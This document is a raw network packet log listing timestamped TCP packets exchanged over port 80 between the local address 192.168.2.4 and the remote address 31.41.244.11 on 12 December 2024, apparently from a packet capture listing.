Dec 12, 2024 14:26:38.678121090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.678195000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.679419041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.679502964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.679676056 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.679689884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.679743052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.679743052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.680438995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.680450916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.680464983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.680526972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.680526972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.681309938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.681395054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.681408882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.681468010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.682032108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.682123899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.682137012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.682193041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.682193041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.682759047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.682843924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.682856083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.682900906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.682946920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.683471918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.683484077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.683496952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.683559895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.683615923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.684328079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.684422016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.684433937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.684510946 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.684510946 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.685302019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.685352087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.685363054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.685447931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.685962915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.685975075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.685986996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.686022997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.686036110 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.686552048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.686614990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.686628103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.686674118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.687537909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.687581062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.687593937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.687623978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.687624931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.688503027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.688524008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.688538074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.688550949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.688576937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.688724041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.689219952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.689232111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.689244032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.689297915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.689371109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.689647913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.689687014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.689697981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.689783096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.689783096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.690248013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.690293074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.690363884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.690376997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.690412045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.690454006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.691073895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.691131115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.691143990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.691190004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.691225052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.691849947 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.691863060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.691874027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.691905975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.691947937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.692564964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.692588091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.692600012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.692653894 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.692655087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.693351984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.693363905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.693377972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.693418026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.693418026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.693991899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.694020987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.694032907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.694080114 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.694080114 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.694597006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.694892883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.694905996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.695031881 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.695040941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.695080996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.695663929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.695677042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.695688009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.695705891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.695748091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.696419954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.696516037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.696532011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.696549892 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.696566105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.697345018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.697402954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.697415113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.697415113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.697449923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.697449923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.697913885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.698004961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.698016882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.698076010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.698076010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.698596954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.698656082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.698668957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.698698997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.698759079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.699187040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.699268103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.699280024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.699317932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.699337959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.699899912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.699985027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.699996948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.700052023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.700052023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.700726032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.700751066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.700763941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.700815916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.700815916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.701632023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.701690912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.701703072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.701741934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.701741934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.702373028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.702430964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.885838032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.885853052 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.885865927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.885925055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.885983944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.886404991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.886424065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.886435986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.886498928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.886498928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.886921883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.886934996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.886950016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.886976957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.887006044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.887547970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.887559891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.887573957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.887608051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.887650967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.888189077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.888202906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.888216019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.888238907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.888277054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.889049053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.889061928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.889075041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.889137030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.889137030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.889622927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.889646053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.889657974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.889692068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.889838934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.890404940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.890427113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.890439034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.890491009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.890491009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.891192913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.891206026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.891218901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.891253948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.891325951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.891880035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.891891956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.891906023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.891959906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.891959906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.892721891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.892811060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.892822981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.892831087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.892846107 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.892971039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.893632889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.893645048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.893656969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.893731117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.893731117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.894469976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.894546986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.894557953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.894627094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.894627094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.895361900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.895438910 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.895467043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.895479918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.895509005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.895520926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.896370888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.896383047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.896394014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.896435976 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.897181988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.897226095 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.897238016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.897238016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.897285938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.897285938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.898179054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.898190975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.898201942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.898232937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.898292065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.898917913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.898969889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.898978949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.898989916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.899027109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.899065971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.899760008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.899856091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.899868011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.899892092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.899892092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.900013924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.900585890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.900598049 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.900609970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.900659084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.900659084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.901350021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.901387930 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.901398897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.901428938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.901501894 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.902034998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.902112961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.902148962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.902160883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.902187109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.902278900 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.902750969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.902805090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.902808905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.902817965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.902856112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.902856112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.903920889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.903975964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.904086113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.904098034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.904143095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.904432058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.904479027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.905047894 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.905060053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.905071020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.905139923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.905139923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.905704021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.905714989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.905726910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.905757904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.905816078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.906363010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.906411886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.906424046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.906474113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.907156944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.907167912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.907180071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.907205105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.907331944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.907818079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.907870054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.907881021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.908047915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.908612967 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.908626080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.908639908 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.908693075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.908694029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.909379959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.909502983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.909513950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.909533024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.909626961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.910099983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.910118103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.910130024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.910170078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.910170078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.910815954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.910826921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.910836935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.910887957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.910887957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.911585093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.911596060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.911608934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.911664963 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.911664963 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.912504911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.912516117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.912527084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.912559032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.912597895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:38.913142920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:38.913194895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.082429886 CET	80	49837	31.41.244.11	192.168.2.4
